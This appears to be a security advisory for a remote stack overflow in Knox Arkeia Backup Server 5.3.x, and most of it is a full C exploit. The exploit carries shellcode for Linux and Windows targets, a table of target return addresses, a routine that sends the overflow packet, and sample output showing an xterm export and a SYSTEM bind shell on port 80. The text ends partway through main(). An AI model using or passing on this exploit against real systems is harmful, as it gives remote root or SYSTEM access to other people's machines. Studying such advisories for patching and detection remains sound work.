Summary
"Arkeia offers established backup solutions for departments and mid-size businesses utilizing Linux."

A remote stack overflow in Arkedia Backup Server allows an attacker to run arbitrary code on a vulnerable machine. The following exploit codes can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by John Doe.

Details
Vulnerable Systems:
* Knox Arkeia Server Backup version 5.3.x for Linux, Solaris, MacOSX and Windows

Exploit Code (C Code):
/*
* Knox Arkiea Server Backup
* arkiead local/remote root exploit
* Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE
* Works up to current version 5.3.x
*
* ---------------
*
* Linux x86:
* ./arksink2 <arkeia_host> <target_type> <display>
*
* Exports an xterm to the box of your choosing. Make sure to "xhost +" on
* the box you're exporting to.
*
* A stack overflow is in the processing of a type 77 request. EIP is actually
* overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
* have to write past EIP and insert a "safe" value. Put this value behind your
* NOP+sc return address so it doesn't mess with the sled.
*
* Since the buffer is so small, we initially send an invalid packet that ends
* up on the heap a second before the overflow happens. If it is a high traffic
* Arkeia server the heap might be a bit volatile, so play around with putting
* nops+sc after the overwritten pointer. The heap method avoids non-exec stack
* protection, however.
*
* Includes targets for RH8 and RH7.2
*
* [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
* [*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
* [*] Attacking LINUX system
* [*] Exporting xterm to 192.168.1.1:0
* [*] Connected to 192.168.1.2:617 NOP+shellcode socket
* [*] Connected to 192.168.1.2:617 overflow socket
* [*] Sending nops+shellcode
* [*] Done, sleeping
* [*] Done, check for xterm
*
*
* ---------------
*
* Windows x86:
* ./prog <host> <target> <offset>
*
* Spawns a shell on port 80 of the remote host
*
* EIP is overwritten beginning with the 25th byte after the header. Since Windows
* is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to
* write an extra null past EIP. Another advantage here is that we can put all our
* nops and shellcode in the same packet, but after the NULL. They will not be copied
* onto the stack (and therefore not munge the pointer after it) but will remain
* in memory as a raw packet. Fire up ollydbg, search for your nops and voila.
*
* [user@host user]$ ./arksink2 192.168.1.2 3 0
* [*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
* [*] Attacking Windows system
* [*] Spawning shell on 192.168.1.2:80
* [*] Connected to 192.168.1.2:617 overflow socket
* [*] Sending overflow
* [*] Attempting to get remote shell, try #0
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #1
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #2
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #3
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #4
* [*] Success, enjoy
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>whoami
* whoami
* SYSTEM
*
* C:\WINNT\system32>
*
*
* ---------------
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>

#define BUFLEN 10000 /* for readshell() */
#define DATA_LEN 1000 /* overflow packet data section */
#define HEAD_LEN 8 /* overflow packet header */
#define NOP_LEN 20000 /* nop+shellcode packet */
#define ARK_PORT 617 /* port Arkeiad listens on */
#define SHELL_PORT 80 /* for the windows shellcode */
#define NOP 0x90 /* Intel x86 */
#define NUMTARGS 5 /* increase when adding targets */
#define LINUX 1 /* Linux target type */
#define WINDOWS 2 /* Windows target type */

struct {
char *os;
unsigned int targret;
unsigned int targsafe;
unsigned int len;
int targtype;
} targets[] = {
{ "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX },
{ "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX },
{ "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS },
{ "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS },
{ "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS },
NULL
};

// Linux shellcode exports xterm
const char shellcode[] =
"\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
"\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
"\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
"\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
"\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xac\xff\xff\xff"
"/usr/X11R6/bin/xterm8-ut8-display8";

// Windows shellcode binds shell to port 80
const char shellcode_win[] =
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xbf\x62\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2b\xa2\x04";

unsigned int resolve(char *hostname)
{
u_long ip = 0;
struct hostent *hoste;

if ((int)(ip = inet_addr(hostname)) == -1)
{
if ((hoste = gethostbyname(hostname)) == NULL)
{
herror("[!] gethostbyname");
exit(-1);
}
memcpy(&ip, hoste->h_addr, hoste->h_length);
}
return(ip);
}

int isock(char *hostname, int portnum)
{
struct sockaddr_in sock_a;
int num, sock;
unsigned int ip;
fd_set input;

sock_a.sin_family = AF_INET;
sock_a.sin_port = htons(portnum);
sock_a.sin_addr.s_addr = resolve(hostname);

if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
herror("[!] accept");
return(-1);
}

if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
{
herror("[!] connect");
return(-1);
}

return(sock);

}

int usage(char *progname)
{
int i;

fprintf(stderr, "Usage:\n%s hostname target_num display (attacking Linux)\n", progname);
fprintf(stderr, "%s hostname target_num offset (attacking Windows)\n", progname);
for (i = 0; targets[i].os; i++)
fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0\n", progname);
exit(-1);
}

int getshell(int sock)
{
char buf[BUFLEN];
int nread=0;

while(1)
{
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
select(sock+1,&input,NULL,NULL,NULL);

if(FD_ISSET(sock,&input))
{
nread=read(sock,buf,BUFLEN);
write(1,buf,nread);
}
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}

int lin(char *host, char *export, unsigned int tnum)
{
char head[] = "\x00\x4d\x00\x03\x00\x01\xff\xff";
char data[DATA_LEN];
char sc_req[NOP_LEN*2];
char *sc;
unsigned int retaddr;
unsigned int safe;
int datalen = 0;
int port = ARK_PORT;
int sock_overflow, sock_nops;
int i;
int nullmap = 0;

sock_overflow = sock_nops = 0;

retaddr = targets[tnum].targret;
safe = targets[tnum].targsafe;
datalen = targets[tnum].len;

sock_nops = isock(host, port);

if (sock_nops < 1)
exit(-1);
fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socket\n", host, port);

sock_overflow = isock(host, port);
if (sock_overflow < 1)
exit(-1);
fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);

// build data section of overflow packet
memset(data, NOP, DATA_LEN);

// copy in return address
memcpy(data+datalen - 8, (char *)&retaddr, 4);
// we overwrite a pointer that must be a valid address
memcpy(data+datalen-4, (char *)&safe, 4);

datalen = ntohs(datalen);
memcpy(head+6, (char *)&datalen, 2);

// build invalid packet with nops+shellcode
memset(sc_req, NOP, NOP_LEN+1);
sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2);
sprintf(sc, "%s%s%s", shellcode, export, "K");
if (strlen(sc) + NOP_LEN > NOP_LEN*2-1)
{
fprintf(stderr, "[!] display name too long\n");
exit(-1);
}

memcpy(sc_req+NOP_LEN, sc, strlen(sc));

// send invalid nop+shellcode packet
fprintf(stderr, "[*] Sending nops+shellcode\n");
write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1);
fprintf(stderr, "[*] Done, sleeping\n");
sleep(1);
close(sock_nops);

// send overflow, pointing EIP to above nops+sc
write(sock_overflow, head, HEAD_LEN); // 8 byte header
datalen = ntohs(datalen);
fprintf(stderr, "[*] Sending overflow\n");
write(sock_overflow, data, datalen); // small overflow packet
fprintf(stderr, "[*] Done, check for xterm\n");
close(sock_overflow);
}

void windows (char *host, int tnum, int offset)
{
char head[] = "\x00\x4d\x00\x03\x00\x01\xff\xff";
char data[DATA_LEN];
char sc_req[NOP_LEN*2];
char *sc;
char *export;
unsigned int ret;
unsigned int safeaddr;
int overflow_len;
int datasiz = DATA_LEN;
int datalen = 0;
int port = ARK_PORT;
int sock_overflow, sock_nops, sock_shell;
int i;

datalen = targets[tnum].len;
ret = targets[tnum].targret + offset;
sock_overflow = isock(host, port);
if (sock_overflow < 1)
exit(-1);
fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);

// build data section of overflow packet
memset(data, NOP, DATA_LEN);
memcpy(data+datalen - 4, (char *)&ret, 4);
memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win));

// put size into header
datasiz = ntohs(datasiz);
memcpy(head+6, (char *)&datasiz, 2);

fprintf(stderr, "[*] Sending overflow\n");
write(sock_overflow, head, HEAD_LEN); // 8 byte header
write(sock_overflow, data, DATA_LEN); // large data section
close(sock_overflow);

for (i = 0; i < 20; i++)
{
sleep(1);
fprintf(stderr, "[*] Attempting to get remote shell, try #%d\n", i);
// connect to shell
sock_shell = isock(host, SHELL_PORT);
if (sock_shell > 0)
{
fprintf(stderr, "[*] Success, enjoy\n");
getshell(sock_shell);
}
}

fprintf(stderr, "[!] Exploit failed or cannot connect to port 80\n");
exit(-1);
}

int main( int argc, char **argv)
{
/* first 2 bytes are a type 77 request */
/* last two bytes length */
char *host;
char *export;
unsigned int tnum;
int datalen = 0;
int offset = 0;

if (argc == 4)
{
host = argv[1];
tnum = atoi(argv[2]);

if (targets[tnum].targtype == LINUX)
export = argv[3];
else
offset=atoi(argv[3]);

if (tnum > NUMTARGS || tnum == 0)
{
fprintf(stderr, "[!] Invalid target\n");
usage(argv[0]);
}
}
else
{
usage(argv[0]);
}

tnum--;

fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit\n");
fprintf(stderr, "[*] Attacking %s system\n", targets[tnum].os);